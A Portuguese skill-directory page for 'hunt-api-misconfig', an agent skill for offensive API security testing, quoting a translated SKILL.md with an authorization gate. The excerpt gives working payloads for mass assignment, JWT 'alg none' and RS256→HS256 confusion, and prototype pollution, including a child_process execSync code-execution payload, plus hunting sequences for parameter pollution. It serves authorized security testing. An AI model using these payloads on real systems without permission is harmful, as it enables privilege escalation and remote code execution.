hunt-api-misconfig
Ajuda seu agente a encontrar falhas de segurança em APIs. É útil para proteger dados e sistemas contra ataques.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em APIs. Ela procura por maneiras de acessar informações ou controlar sistemas que não deveria, como se fosse um detetive procurando por portas destrancadas em um prédio.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo.
- ✓Para verificar se uma API está protegida contra acessos indevidos.
- ✓Em treinamentos de segurança para aprender sobre vulnerabilidades.
Exemplo do que pedir para a IA
“Procure por falhas de segurança na API do site exemplo.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta simula ataques comuns que exploram configurações incorretas. Ela tenta 'enganar' a API para que revele informações ou execute ações não permitidas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-api-misconfigOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista em, extraia dados de ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
12. CONFIGURAÇÃO INCORRETA DE SEGURANÇA DE API
Atribuição em Massa
User.update(req.body) // body has {"role": "admin"} → privilege escalation
Algoritmo JWT None
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
Confusão de Algoritmo JWT RS256 → HS256
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Poluição de Protótipo
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
Para poluição de protótipo do lado do servidor, procure primeiro por um primitivo de mesclagem de objeto e, em seguida, por um sink. Prefira endpoints de atualização de JSON/objeto, como perfil, endereço, preferências, configurações, carrinho, trabalho de administrador, importação ou configuração de webhook. Não pare em uma resposta 200 para __proto__; prove que o estado do protótipo poluído atinge uma operação posterior.
Sequência de busca:
- Encontre um endpoint de atualização de objeto. Prefira endpoints que aceitem muitos campos nomeados ou objetos JSON. Tente codificações JSON e de formulário quando o aplicativo aceitar formulários. Inclua campos CSRF/sessão quando necessário.
- Polua propriedades de marcador inofensivas. Envie variantes como:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- Acione um sink separado. Após a poluição, solicite endpoints de conta/perfil/administrador/trabalho/exportação/pesquisa/renderização e compare com a linha de base. Sinais fortes incluem padrões JSON alterados, campos inesperados, erros do servidor mencionando propriedades do objeto, saída de trabalho alterada, erros de template/renderização ou alterações no comportamento do comando/trabalho.
- Escalone apenas através de sinks aprendidos. As propriedades candidatas dependem do sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- Para laboratórios de exfiltração ou impacto real, prefira provas não destrutivas. Se um trabalho de administrador, diagnóstico, exportação ou endpoint de renderização consumir padrões poluídos, use um marcador ou leitura de ambiente/segredo apenas quando autorizado. Em produção, pare em um marcador controlado, a menos que o escopo permita explicitamente o acesso a dados.
Poluição de Parâmetro do Lado do Servidor na Construção de URL / REST URL de Backend
Use isso quando um formulário ou endpoint frontend parecer chamar uma API do lado do servidor em seu nome (redefinição de senha, consulta de conta, busca de perfil, busca de produto, verificação de estoque, pesquisa). O bug não é uma poluição comum de consulta do lado do cliente. O servidor pega sua entrada e a interpola em um caminho de URL de backend ou string de consulta, como:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
Sequência de busca:
- Encontre o fluxo e leia a solicitação do cliente. Busque a página e qualquer JavaScript referenciado. Procure por ações de formulário,
fetch(...), campos CSRF ocultos e o nome exato do parâmetro que o navegador envia. Se houver um formulário de redefinição/conta, teste nomes de usuário conhecidos primeiro para aprender o formato normal de sucesso/erro. - Determine se a entrada cai em um caminho ou consulta de backend. Envie metacaracteres de URL na entrada:
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.
O que são 'Mass Assignment' ou 'Prototype Pollution'?
São tipos de falhas de segurança. 'Mass Assignment' permite que um usuário comum altere dados de outro usuário (como se tornar um administrador). 'Prototype Pollution' explora como o código lida com objetos para mudar o comportamento do sistema.
O que é 'Server-Side Parameter Pollution'?
É quando a API usa informações que você envia para construir um endereço (URL) interno, mas não verifica corretamente. Isso pode permitir que você acesse ou modifique dados em locais inesperados.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3240
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC